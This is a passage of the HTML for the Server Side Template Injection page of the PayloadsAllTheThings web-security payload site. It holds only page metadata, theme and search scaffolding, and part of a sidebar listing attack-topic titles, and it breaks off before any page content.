Files
PayloadsAllTheThings/Server Side Template Injection/index.html

8345 lines
344 KiB
HTML
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<!doctype html>
<html lang="en" class="no-js">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="description" content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security">
<link rel="canonical" href="https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/">
<link rel="prev" href="../Server%20Side%20Request%20Forgery/">
<link rel="next" href="../Tabnabbing/">
<link rel="icon" href="../assets/images/favicon.png">
<meta name="generator" content="mkdocs-1.5.3, mkdocs-material-9.5.15">
<title>Server Side Template Injection - Payloads All The Things</title>
<link rel="stylesheet" href="../assets/stylesheets/main.7e359304.min.css">
<link rel="stylesheet" href="../assets/stylesheets/palette.06af60db.min.css">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback">
<style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style>
<link rel="stylesheet" href="../custom.css">
<script>__md_scope=new URL("..",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script>
</head>
<body dir="ltr" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo">
<input class="md-toggle" data-md-toggle="drawer" type="checkbox" id="__drawer" autocomplete="off">
<input class="md-toggle" data-md-toggle="search" type="checkbox" id="__search" autocomplete="off">
<label class="md-overlay" for="__drawer"></label>
<div data-md-component="skip">
<a href="#server-side-template-injection" class="md-skip">
Skip to content
</a>
</div>
<div data-md-component="announce">
</div>
<header class="md-header md-header--shadow" data-md-component="header">
<nav class="md-header__inner md-grid" aria-label="Header">
<a href=".." title="Payloads All The Things" class="md-header__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z"/></svg>
</a>
<label class="md-header__button md-icon" for="__drawer">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z"/></svg>
</label>
<div class="md-header__title" data-md-component="header-title">
<div class="md-header__ellipsis">
<div class="md-header__topic">
<span class="md-ellipsis">
Payloads All The Things
</span>
</div>
<div class="md-header__topic" data-md-component="header-topic">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</div>
</div>
</div>
<form class="md-header__option" data-md-component="palette">
<input class="md-option" data-md-color-media="(prefers-color-scheme: light)" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo" aria-label="Switch to dark mode" type="radio" name="__palette" id="__palette_0">
<label class="md-header__button md-icon" title="Switch to dark mode" for="__palette_1" hidden>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a4 4 0 0 0-4 4 4 4 0 0 0 4 4 4 4 0 0 0 4-4 4 4 0 0 0-4-4m0 10a6 6 0 0 1-6-6 6 6 0 0 1 6-6 6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12 20 8.69Z"/></svg>
</label>
<input class="md-option" data-md-color-media="(prefers-color-scheme: dark)" data-md-color-scheme="slate" data-md-color-primary="indigo" data-md-color-accent="indigo" aria-label="Switch to light mode" type="radio" name="__palette" id="__palette_1">
<label class="md-header__button md-icon" title="Switch to light mode" for="__palette_0" hidden>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 18c-.89 0-1.74-.2-2.5-.55C11.56 16.5 13 14.42 13 12c0-2.42-1.44-4.5-3.5-5.45C10.26 6.2 11.11 6 12 6a6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12 20 8.69Z"/></svg>
</label>
</form>
<script>var media,input,key,value,palette=__md_get("__palette");if(palette&&palette.color){"(prefers-color-scheme)"===palette.color.media&&(media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']"),palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent"));for([key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script>
<label class="md-header__button md-icon" for="__search">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z"/></svg>
</label>
<div class="md-search" data-md-component="search" role="dialog">
<label class="md-search__overlay" for="__search"></label>
<div class="md-search__inner" role="search">
<form class="md-search__form" name="search">
<input type="text" class="md-search__input" name="query" aria-label="Search" placeholder="Search" autocapitalize="off" autocorrect="off" autocomplete="off" spellcheck="false" data-md-component="search-query" required>
<label class="md-search__icon md-icon" for="__search">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z"/></svg>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z"/></svg>
</label>
<nav class="md-search__options" aria-label="Search">
<button type="reset" class="md-search__icon md-icon" title="Clear" aria-label="Clear" tabindex="-1">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z"/></svg>
</button>
</nav>
</form>
<div class="md-search__output">
<div class="md-search__scrollwrap" data-md-scrollfix>
<div class="md-search-result" data-md-component="search-result">
<div class="md-search-result__meta">
Initializing search
</div>
<ol class="md-search-result__list" role="presentation"></ol>
</div>
</div>
</div>
</div>
</div>
<div class="md-header__source">
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
<div class="md-source__icon md-icon">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.5.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"/></svg>
</div>
<div class="md-source__repository">
GitHub
</div>
</a>
</div>
</nav>
</header>
<div class="md-container" data-md-component="container">
<main class="md-main" data-md-component="main">
<div class="md-main__inner md-grid">
<div class="md-sidebar md-sidebar--primary" data-md-component="sidebar" data-md-type="navigation" >
<div class="md-sidebar__scrollwrap">
<div class="md-sidebar__inner">
<nav class="md-nav md-nav--primary" aria-label="Navigation" data-md-level="0">
<label class="md-nav__title" for="__drawer">
<a href=".." title="Payloads All The Things" class="md-nav__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z"/></svg>
</a>
Payloads All The Things
</label>
<div class="md-nav__source">
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
<div class="md-source__icon md-icon">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.5.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"/></svg>
</div>
<div class="md-source__repository">
GitHub
</div>
</a>
</div>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href=".." class="md-nav__link">
<span class="md-ellipsis">
Payloads All The Things
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../CONTRIBUTING/" class="md-nav__link">
<span class="md-ellipsis">
CONTRIBUTING
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_3" >
<label class="md-nav__link" for="__nav_3" id="__nav_3_label" tabindex="0">
<span class="md-ellipsis">
API Key Leaks
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_3_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_3">
<span class="md-nav__icon md-icon"></span>
API Key Leaks
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../API%20Key%20Leaks/" class="md-nav__link">
<span class="md-ellipsis">
API Key Leaks
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
<label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
<span class="md-ellipsis">
AWS Amazon Bucket S3
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_4">
<span class="md-nav__icon md-icon"></span>
AWS Amazon Bucket S3
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../AWS%20Amazon%20Bucket%20S3/" class="md-nav__link">
<span class="md-ellipsis">
Amazon Bucket S3 AWS
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
<span class="md-ellipsis">
Account Takeover
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_5">
<span class="md-nav__icon md-icon"></span>
Account Takeover
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Account%20Takeover/" class="md-nav__link">
<span class="md-ellipsis">
Account Takeover
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
<span class="md-ellipsis">
Argument Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_6">
<span class="md-nav__icon md-icon"></span>
Argument Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Argument%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Argument Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
<span class="md-ellipsis">
Business Logic Errors
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_7">
<span class="md-nav__icon md-icon"></span>
Business Logic Errors
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Business%20Logic%20Errors/" class="md-nav__link">
<span class="md-ellipsis">
Business Logic Errors
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
<span class="md-ellipsis">
CICD
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_8">
<span class="md-nav__icon md-icon"></span>
CICD
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CICD/" class="md-nav__link">
<span class="md-ellipsis">
CI/CD attacks
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
<span class="md-ellipsis">
CORS Misconfiguration
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_9">
<span class="md-nav__icon md-icon"></span>
CORS Misconfiguration
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CORS%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
CORS Misconfiguration
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
CRLF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
CSRF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
CSRF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CSRF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking: Web Application Security Vulnerability
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
Dom Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
Dom Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Dom%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
Dom Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
